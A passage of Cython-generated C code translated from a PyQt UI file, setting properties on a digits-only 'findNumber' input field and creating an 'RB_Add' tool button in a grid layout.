__Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__60, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":96 * self.findNumber.setStatusTip("") * self.findNumber.setAccessibleName("") * self.findNumber.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.findNumber.setInputMask("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__61, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":97 * self.findNumber.setAccessibleName("") * self.findNumber.setAccessibleDescription("") * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) # <<<<<<<<<<<<<< * self.findNumber.setInputMask("") * self.findNumber.setText("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":98 * self.findNumber.setAccessibleDescription("") * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.findNumber.setInputMask("") # <<<<<<<<<<<<<< * self.findNumber.setText("") * self.findNumber.setMaxLength(5) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__62, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":99 * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.findNumber.setInputMask("") * self.findNumber.setText("") # <<<<<<<<<<<<<< * self.findNumber.setMaxLength(5) * self.findNumber.setPlaceholderText("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__63, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":100 * self.findNumber.setInputMask("") * self.findNumber.setText("") * self.findNumber.setMaxLength(5) # <<<<<<<<<<<<<< * self.findNumber.setPlaceholderText("") * self.findNumber.setObjectName("findNumber") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__64, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":101 * self.findNumber.setText("") * self.findNumber.setMaxLength(5) * self.findNumber.setPlaceholderText("") # <<<<<<<<<<<<<< * self.findNumber.setObjectName("findNumber") * self.horizontalLayout.addWidget(self.findNumber) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__65, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":102 * self.findNumber.setMaxLength(5) * self.findNumber.setPlaceholderText("") * self.findNumber.setObjectName("findNumber") # <<<<<<<<<<<<<< * self.horizontalLayout.addWidget(self.findNumber) * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__66, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":103 * self.findNumber.setPlaceholderText("") * self.findNumber.setObjectName("findNumber") * self.horizontalLayout.addWidget(self.findNumber) # <<<<<<<<<<<<<< * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_findNumber); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":104 * self.findNumber.setObjectName("findNumber") * self.horizontalLayout.addWidget(self.findNumber) * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) # <<<<<<<<<<<<<< * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Add.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[6] = {__pyx_t_2, __pyx_t_1, __pyx_int_0, __pyx_int_2, __pyx_int_1, __pyx_int_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[6] = {__pyx_t_2, __pyx_t_1, __pyx_int_0, __pyx_int_2, __pyx_int_1, __pyx_int_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(5+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_1); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_int_2); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_4, 3+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_4, 4+__pyx_t_8, __pyx_int_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":105 * self.horizontalLayout.addWidget(self.findNumber) * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) # <<<<<<<<<<<<<< * self.RB_Add.setToolTip("") * self.RB_Add.setStatusTip("") */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QToolButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayoutWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add, __pyx_t_3) < 0) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":106 * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Add.setToolTip("") # <<<<<<<<<<<<<< * self.RB_Add.setStatusTip("") * self.RB_Add.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__67, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":107 * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Add.setToolTip("") * self.RB_Add.setStatusTip("") # <<<<<<<<<<<<<< * self.RB_Add.setAccessibleName("") * self.RB_Add.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__68, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":108 * self.RB_Add.setToolTip("") * self.RB_Add.setStatusTip("") * self.RB_Add.setAccessibleName("") # <<<<<<<<<<<<<< * self.RB_Add.setAccessibleDescription("") * self.RB_Add.setShortcut("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__69, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":109 * self.RB_Add.setStatusTip("") * self.RB_Add.setAccessibleName("") * self.RB_Add.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RB_Add.setShortcut("") * self.RB_Add.setObjectName("RB_Add") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__70, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":110 * self.RB_Add.setAccessibleName("") * self.RB_Add.setAccessibleDescription("") * self.RB_Add.setShortcut("") # <<<<<<<<<<<<<< * self.RB_Add.setObjectName("RB_Add") * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RB_Add); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setShortcut); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__71, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":111 * self.RB_Add.setAccessibleDescription("") * self.RB_Add.setShortcut("") * self.RB_Add.setObjectName("RB_Add") # <<<<<<<<<<<<<< * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) * self.RB_Del = 